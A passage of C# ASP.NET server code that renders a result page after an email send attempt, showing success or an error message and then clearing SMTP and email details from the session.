        saPage.Append(LoadHeader());

        if(m_bMailSentOk)
            saPage.AppendLine("       <p>Mail sent successfully.&nbsp;&nbsp;You will be redirected in 5 seconds.</p>");
        else
            saPage.Append(LoadError(ERR_DEFAULT, m_sLastError));

        saPage.Append(LoadFooter());

        if (Page.Session["smtpServer"] != null)
            Page.Session.Remove("smtpServer");
        if (Page.Session["smtpPort"] != null)
            Page.Session.Remove("smtpPort");
        if (Page.Session["emailAddressTo"] != null)
            Page.Session.Remove("emailAddressTo");
        if (Page.Session["emailAddressFrom"] != null)
            Page.Session.Remove("emailAddressFrom");
        if (Page.Session["emailComments"] != null)
            Page.Session.Remove("emailComments");

        this.Response.Write(saPage.ToString());
    }